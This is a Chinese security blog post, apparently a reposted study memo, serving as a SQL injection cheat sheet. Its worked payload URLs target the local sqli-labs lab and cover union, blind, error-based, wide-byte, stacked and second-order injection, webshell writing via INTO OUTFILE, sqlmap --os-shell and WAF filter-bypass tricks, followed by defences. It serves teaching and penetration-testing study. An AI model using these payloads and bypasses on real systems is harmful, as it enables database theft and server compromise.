web备忘录之SQL注入总结

admin 2024年2月9日11:51:02评论9 views字数 14951阅读49分50秒阅读模式

SQL注入简介

接收用户输入的数据,没有过滤或者过滤布严谨,被带入到数据库中去执行

SQL注入条件

  • 用户可以控制数据的输入。

  • 原本要运行的代码拼接了用户的输入并运行

SQL的注释符

#--+/--内联注释:/**/

SQL注入的分类

按照注入点类型来分  

数字型注入,字符型注入,搜索型注入  

按照提交类型来分  

GET注入,POST注入,COOKIE注入,HTTP头部注入  

按照技巧分类的话  

联合注入,堆叠注入,报错注入,其他  

按有没有回显

布尔盲注,时间盲注

构造恶意SQL语句的方法  

构造堆叠,构造闭合,构造报错,构造时间差,等等  

SQL利用方式

联合注入

原理

union select定义将多个SELECT语句的结果合并到一个结果集中

相关函数

  • group_concat(参数1,参数2,参数3等等无数个参数)语法: group_concat函数返回一个字符串结果(就是返回一行),该结果由括号中的各个参数值执行然后连接组合而成

  • char():还原ASCII码为字符

注入过程

1、首先判断目标是否存在sql注入,是什么类型的sql注入

http://127.0.0.1/sqli-labs/Less-1/?id=1                       //返回正确
http://127.0.0.1/sqli-labs/Less-1/?id=1'         //返回错误,可能存在SQL注入
http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1       //返回正确
http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=2       //返回正确
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1       //返回错误
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2       //返回错误

由此可见,$id后面可能还有sql语句
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+ //返回正确
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 --+ //返回错误
由此可见,目标存在sql注入,并且是字符型,该id变量后面还有其他的sql语句
此时我们看一下源码,是否是字符型

2.使用union select猜测目标SQL查询语句中select后面的字段数量,同时也测出了目标哪些位置的字段可以继续利用3.判断方法:回显错误表示不止当前字段数,回显正确表示就是这么多字段数Payload:http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3%23注:这里的and 1=2是为了就将正确的id=1不显示,返回错误,显示后面union select语句的值,因为有时目标网站设置只回显一条数据库语句,容易造成判断失误结果:这里SQL查询语句中select后面的字段数量是3个,2,3字段可以利用利用Payload

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

4.拓展还有一种方法,order by判断字段数

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 order by 1%23

布尔盲注

原理

Web的页面的仅仅会返回True和False,那么布尔盲注就是根据页面返回的True或者是False来得到数据库中的相关信息

相关函数解析

(1)length:返回值为字符串的字节长度(2)ascii:把字符转换成ascii码值的函数(3)substr(str, pos, len):在str中从pos开始的位置(起始位置为1),截取len个字符(4)count:统计表中记录的一个函数,返回匹配条件的行数(5)limit:limit m :检索前m行数据,显示1-10行数据(m>0)limit(x,y):检索从x+1行开始的y行数据

注入过程

1、判断数据库名称长度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database()))=8%23

2、猜解数据库名

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121%23

3、判断数据库中表的数量

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4%23

4、猜解其中第四个表名的长度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23

5、猜解第四个表名

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 117%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 101%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 114%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 115%23
第四个表名为users

6、判断users表中字段数量

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=3%23

7、判断第二个字段长度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=8%23

8、猜解第二个字段名称

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117%23
...
第二个字段名称为username
注:substr(参数1,参数2,参数3),参数2中0和1都可表示从第一位字符开始,但这里只可以用1,0不可以,可能和数据库版本有关

9、猜解指定字段中值的数量

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(username)from users)=13%23

10、猜解第一个字段中第一个值的长度

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select username from users limit 0,1))=4%23

11、猜解第一个字段中第一个值的名称

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68%23
...
最后的值为Dumb

时间盲注

原理

时间盲注的一般思路是延迟注入,就是利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是True还是False,从而猜解一些未知的字段

相关函数

if(expr1,expr2,expr3): expr1的值为TRUE,则返回值为expr2 ;expr1的值为FALSE,则返回值为expr3sleep(n):延迟响应时间n秒

注入过程

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(1=1,sleep(4),null)%23
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (length(database()))=8 and if(1=1,sleep(4),null)%23
http://127.0.0.1/sqli-labs/Less-9/?id=1' and (ascii(substr((select database()),1,1))) =115 and if(1=1,sleep(4),null)%23

宽字节注入

原理

先了解一下什么是窄、宽字节已经常见宽字节编码:    当某字符的大小为一个字节时,称其字符为窄字节.    当某字符的大小为两个字节时,称其字符为宽字节.    所有英文默认占一个字节,汉字占两个字节    常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入

如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠()进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠()组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。 其中的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击 。但添加的字符的Ascii要大于128,两个字符才能组合成汉字  (比如%df)  ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。

函数

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符

mysql_escape_string() 转义一个字符串

Payload

http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,2,3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3%23
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' and 1=2 union select 1,(select group_concat(username,char(32),password)from users),3%23

报错注入

原理

报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。

相关函数

concat()函数:用于将多个字符串连接成一个字符串
floor(x) 函数:返回小于 x 的最大整数值
rand()函数调:用可以在0和1之间产生一个随机数
group by语句:根据一个或多个列对结果集进行分组
updatexml(目标xml文档,xml路径,更新的内容):更新xml文档的函数,xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径,第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容

floor报错注入

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))from information_schema.tables group by x%23

updatexml报错注入

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(database()),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3)%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)%23

extractvalue报错注入

Payload

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat(0x7e,(database()),0x7e))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'))%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select extractvalue(null,concat('~',(select username from users limit 0,1),'~'))%23

堆叠注入

原理

堆叠注入与受限于select语句的联合查询法相反,堆叠注入可用于执行任意SQL语句。简单地说就是MYSQL的多语句查询堆叠注入的局限性:堆叠注入并不是在任何换环境下都可以执行的,可能受到API或者数据库引擎不支持的限制(如Oracle数据库),也有可能权限不足。web系统中,因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。Payload

http://127.0.0.1/sqli-labs/Less-38/?id=1';create database peak%23

二次注入

原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中(比如虽然参数在过滤后会添加"“进行转义,但是”"并不会插入到数据库中),当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入,可以概括为以下两步:第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

二次注入的话,分为两次,第一次注入构造恶意的SQL语句储存到数据库中,第二次通过查询,从数据库取出我们构造的恶意SQL语句,由于数据库对取出的数据没有过滤,那么我们就可以对这个数据进行利用

Payload

(1)先创建一个含有注释符的用户 amin’#(2)看下数据库,成功添加了记录(3)源码sql语句分析:(4)最后修改admin’#的密码(5)成功修改admin的密码

SQL注入getshell

条件1.secure_file_priv这个参数用来限制数据导入和导出secure_file_priv=代表对文件读写没有限制secure_file_priv=NULL代表不能进行文件读写secure_file_priv=F:代表只能对该路径下文件进行读写查看方法:show global variables like ‘%secure%’;修改方法:my.ini函数,没有的话就直接添加2.知道网站的绝对路径3.有写入权限,比如root权限

相关函数

load_file():读取文件into outfile:写入文件

利用

读文件http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,load_file(‘F:1.txt’),3%23写文件http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,’’,3 into outfile ‘F:2.php’%23

mysql日志写shell 与导出函数写Shell相比,规避了 secure_file_priv 的限制 1.网站可访问路径的绝对路径 2.mysql服务有对网站可访问路径的写权限 3.mysql连接用户有权限开启日志记录和更换日志路径/ROOT权限 4.GPC关闭/未对闭合用的引号转义 虽然日志路径可以hex编码,但被记入日志的查询语句中的shell内容需要引号包裹,加 后传到数据库执行会报错,无法记录进日志  

sqlmap使用

常用命令

-u:指定含有参数的URL
--dbs:爆出数据库
--batch:默认选择执行
--random-agent:使用随机user-agent
-r:POST注入
--level:注入等级,一共有5个等级(1-5) 不加 level 时,默认是1,5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢
--timeout:设定重试超时
--cookie:设置cookie信息
--flush-session:删除指定目标缓存,重新对该目标进行测试
--tamper:使用waf绕过脚本
--time-sec:设定延时时间,默认是5秒
--thread:多线程,默认为1,最大为10
--keep-live: sqlmap默认是一次连接成功后马上关闭;HTTP报文中相当于Connection: Close(一次连接马上关闭)。要扫描站点的URL比较多时,这样比较耗费性能,所以需要将HTTP连接持久化来提高扫描性能;HTTP报文相当于Connection: Keep-Alive

--os-shell原理

--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

此为sqlmap的一个命令,利用这条命令的先决条件:

secure_file_priv没有具体值知道网站的绝对路径要求为数据库DBA,使用--is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dba

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbeewq.php 用来执行系统命令

  • tmpuqvgw.php 用来上传文件

--sql-shell执行SQL语句

sqlmap.py -u "xxx" --sql-shell

查看secure_file_priv的值是否为空  

select @@secure_file_priv

当为空的时候则什么都不返回  

SQL注入防御

  1. SQL语句预编译:就是先编译,定义需要预编译的SQL语句,从外界传递的参数(输入)用占位符?表示

  2. 用参数化查询:使用参数化查询可以防止SQL注入攻击。在参数化查询中,用户提供的输入作为参数传递给数据库引擎,而不是直接将其拼接到SQL查询语句中。

  3. 过滤或者转义用户输入:对于用户的输入,应该进行过滤和验证。例如,对于一些单引号,双引号,)等特殊符进行过滤,对于一些SQL语句字符串,比如:select等,或者做限制,比如只允许输入数字或特定字符集合,并且删除所有非法字符。

  4. 限制用户的输入的长度,因为有一些SQL注入很长,而正常的业务中,这么长的输入不合理

  5. 限制数据库用户权限:分配每个用户最小必需的权限来执行他们需要的操作,并限制他们的访问范围。

  6. 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后 加盐再md5  

SQL注入绕过

等价函数绕过,反之亦可:

1)sleep() <-->benchmark()2)ascii() <-–>hex()、bin(),替代之后再使用对应的进制转string即可3)group_concat() <–->concat_ws()4)substr() <--> substring() <--> mid()5)user() <--> @@user、datadir–>@@datadir6)ord() <-–> ascii():这两个函数在处理英文时作用相同,但是处理中文等时不一致。7)mid()、substr() ==> substring() 8)updatexml() ==> extractvalue()  

9)or过滤导致information无法使用可以用如下几个代替进行查表:sys.x$schema_flattened_keyssys.x$schema_table_statistics_with_buffersys.schema_table_statistics_with_buffer字段的查询则利用无列名配合爆破如:(select 1,xxxxx) > (select * from tablename)

sql注入常见的过WAF方法

内联注释绕过 填充大量脏数据绕过 垃圾参数填充绕过 改变提交方式绕过,如GET方式变为POST方式提交 随机agent头绕过 fuzz过滤函数,函数替换绕过  

空格过滤

如果遇到空格被过滤了,主要的几个思路都是想办法找一个代替品,能代替空格的有几个:  

注释绕过  /**/ :正常情况下只要这个没有被过滤就一定能代替。括号过滤 () :将所有的关键字都用括号括起来就可以达到替代空格分隔的作用如下,正常:select * from user括号:(select)*(from)(user)url编码:这种遇到可以试试。用%20代替空格或者用其他的url编码%09、%0a、%0b、%0c、%0d 、%a0、%00回车换行替代:回车换行也可以用做分隔功能替代空格。Tab替代:Tab可以做分隔功能。

注释过滤

遇到我们平常用的 --+ 注释过滤,我们可以用以下几种注释代替:  

#、;%00、-- (两个减号一个空格)用其他数据闭合:select * from user where id='1'                     ||                     Vselect * from user where id='1' or '1' ='1'

引号过滤

引号过滤有两种,一种是不能出现引号一种是会被转义,转义的处理方法上一篇已经说过了就是宽字节注入的绕过,如果是无法出现引号又必修得用引号,可以将参数的值和单引号或者双引号绑定在一起然后转换为16进制最后在输入时在前加0x*。  

逗号过滤

有函数或者指令在使用时需要用到逗号,因此绕过逗号的方法因函数或指令的不同而不同。limit 0,1中存在逗号,那么如果逗号被过滤了我们替代的方法是用offset 利用反引号替换了单引号。union 联合注入中我们需要select 1,2,3,4……,而如果过滤了逗号这里又该如何绕呢?这里其实挺有意思的,联合查询select 1,2,3,4……经过测试可以单独写如下web备忘录之SQL注入总结 括号后面的a、b、c是随意命名的是省略了as的写法,为什么我要这么写?这样写就可以把逗号过滤,我们使用offset代替可以得到web备忘录之SQL注入总结 所以联合查询的逗号绕过是利用join代替。  

等于号过滤

如果只过滤了等于号可以用以下代替  

<> :不等于的意思 !=regexp、like、rlike

逻辑运算符过滤

过滤了or、and、xor、not可以用相对应的字符代替:&&、||、| 、!

过滤大小于号绕过

在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。1)greatest(n1, n2, n3…):返回n中的最大值eg:select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=1162)least(n1,n2,n3…):返回n中的最小值,与上同理。3)strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1eg:select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)4)in关键字eg:select * from users where id = 1 and substr(username,1,1) in ('t')5)between a and b:范围在a-b之间,包括a、b。eg:select * from users where id between 1 and 2select * from users where id between 1 and 1

SQL面试题

报错注入函数

updatexml()         是mysql对xml文档数据进行查询和修改的xpath函数extractvalue()      是mysql对xml文档数据进行查询的xpath函数floor()             mysql中用来取整的函数exp()               此函数返回e(自然对数的底)指数X的幂值

sleep函数被禁用后怎么进行sql注入?  

BENCHMARK,Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变 长,从而达到延时注入的效果。 mysql:`AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);  

盲注IF被过滤怎么绕过?  

如果 and if 被 waf 拦截,我们可以使用内联注释来绕过函数的检测,如: xor /!if/(length(/!database//!()/)>=1,/!sleep//! (1)/,curdate())%23 ^ /!if/(length(/!database//!()/)>=1,/!sleep//! (1)/,curdate())%23 /!if/(length(/!database//!()/)>=1,/!sleep//! (1)/,curdate())%23 and case when 1!=0 then /!sleep//!(5)/ else 0 end %23  

Mysql一个@和两个@什么区别?  

一个@是用户自定义变量
两个@是系统变量,如@@version、@@user

原文始发于微信公众号(PwnPigPig):web备忘录之SQL注入总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月9日11:51:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web备忘录之SQL注入总结http://cn-sec.com/archives/2484173.html

发表评论

匿名网友 填写信息